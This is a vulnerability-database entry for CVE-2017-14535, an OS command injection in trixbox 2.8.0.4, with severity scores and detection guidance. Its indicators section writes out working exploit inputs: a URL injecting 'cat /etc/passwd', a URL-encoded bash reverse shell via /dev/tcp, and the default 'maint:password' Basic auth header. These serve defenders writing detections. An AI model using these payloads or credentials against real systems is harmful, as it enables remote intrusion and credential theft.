cbcvebase.
CVE-2017-14535
published 2018-02-16

CVE-2017-14535: trixbox 2.8.0.4 has OS command injection via shell metacharacters in the lang parameter to /maint/modules/home/index.php.

PriorityP272high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
EXPLOIT
EPSS
50.07%
98.8th percentile
trixbox 2.8.0.4 has OS command injection via shell metacharacters in the lang parameter to /maint/modules/home/index.php.

Affected

1 ranges
VendorProductVersion rangeFixed in
netfortristrixbox——

Detection & IOCsextracted from sources · hover to see the quote

url/maint/modules/home/index.php?lang=english|cat%20/etc/passwd↗
path/maint/modules/home/index.php↗
commandenglish|bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<listen_ip>%2F<listen_port>%200%3E%261||x↗
  • →Detect exploitation attempts by monitoring HTTP GET/POST requests to /maint/modules/home/index.php containing shell metacharacters (e.g., pipe '|') in the 'lang' parameter. ↗
  • →Alert on HTTP requests to /maint/modules/home/index.php with a 'lang' parameter value containing URL-encoded bash reverse shell payloads (e.g., %2Fdev%2Ftcp%2F indicating /dev/tcp/ usage). ↗
  • →Flag HTTP requests to the trixbox /maint/ interface using the hardcoded Base64 Authorization header 'Basic bWFpbnQ6cGFzc3dvcmQ=' (maint:password), which is used by exploit tooling. ↗
  • →Successful exploitation returns HTTP 200 with /etc/passwd content in the response body; detect by matching 'root:.*:0:0:' pattern in HTTP responses from /maint/modules/home/index.php. ↗
  • ·The exploit as published sends the payload via HTTP POST to a GET-style URL with the lang parameter; defenders should monitor both GET and POST methods to /maint/modules/home/index.php. ↗
  • ·The hardcoded Authorization header decodes to 'maint:password', indicating the /maint/ interface uses HTTP Basic Auth with default credentials; this credential pair should be treated as a known-bad indicator in authentication logs. ↗

CVSS provenance

nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.09.0CRITICALAV:N/AC:L/Au:S/C:C/I:C/A:C
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.